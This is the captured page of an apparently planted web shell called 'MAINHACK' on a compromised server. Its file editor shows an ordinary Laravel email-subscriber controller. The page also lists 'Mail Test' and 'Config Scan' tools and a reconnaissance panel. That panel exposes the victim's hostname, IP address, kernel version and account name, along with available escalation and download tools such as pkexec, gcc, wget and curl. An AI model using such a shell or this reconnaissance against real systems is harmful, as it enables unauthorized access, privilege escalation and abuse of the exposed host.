[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: EmailSubscriberController.php
<?php namespace App\Http\Controllers; use Validator; use DataTables; use App\Mail\GeneralMail; use App\Utilities\Overrider; use Illuminate\Http\Request; use App\Models\EmailSubscriber; use Illuminate\Support\Facades\Mail; use Maatwebsite\Excel\Facades\Excel; use App\Exports\EmailSubscribersExport; class EmailSubscriberController extends Controller { /** * Create a new controller instance. * * @return void */ public function __construct() { date_default_timezone_set(get_option('timezone', 'Asia/Dhaka')); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $assets = ['datatable']; return view('backend.admin.email_subscriber.list', compact('assets')); } public function get_table_data() { $emailsubscribers = EmailSubscriber::select('email_subscribers.*') ->orderBy("email_subscribers.id", "desc"); return Datatables::eloquent($emailsubscribers) ->addColumn('action', function ($emailsubscriber) { return '<div class="text-center">' . '<form action="' . route('email_subscribers.destroy', $emailsubscriber['id']) . '" method="post">' . csrf_field() . '<input name="_method" type="hidden" value="DELETE">' . '<button class="btn btn-danger btn-xs btn-remove" type="submit"><i class="ti-trash"></i> ' . _lang('Delete') . '</button>' . '</form></div>'; }) ->setRowId(function ($emailsubscriber) { return "row_" . $emailsubscriber->id; }) ->rawColumns(['action']) ->make(true); } /** * Show the form for creating a new resource. * * @return \Illuminate\Http\Response */ public function send_email(Request $request) { if ($request->isMethod('get')) { $assets = ['tinymce']; $alert_col = 'col-lg-8 offset-lg-2'; return view('backend.admin.email_subscriber.send-email', compact('assets', 'alert_col')); } else { $validator = Validator::make($request->all(), [ 'subject' => 'required', 'message' => 'required', ]); if ($validator->fails()) { return back() ->withErrors($validator) ->withInput(); } $mail = new \stdClass (); $mail->subject = $request->subject; $mail->body = $request->message; $emailAddresses = EmailSubscriber::all()->pluck('email_address'); try { Overrider::load('Settings'); Mail::to($emailAddresses)->send(new GeneralMail($mail)); return redirect()->route('email_subscribers.index')->with('success', _lang('Email Send Successfully')); } catch (\Exception $e) { return back()->with('error', $e->getMessage())->withInput(); } } } public function export(){ return Excel::download(new EmailSubscribersExport, 'EmailSubscribers.xlsx'); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $emailsubscriber = EmailSubscriber::find($id); $emailsubscriber->delete(); return redirect()->route('email_subscribers.index')->with('success', _lang('Deleted Successfully')); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.89 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002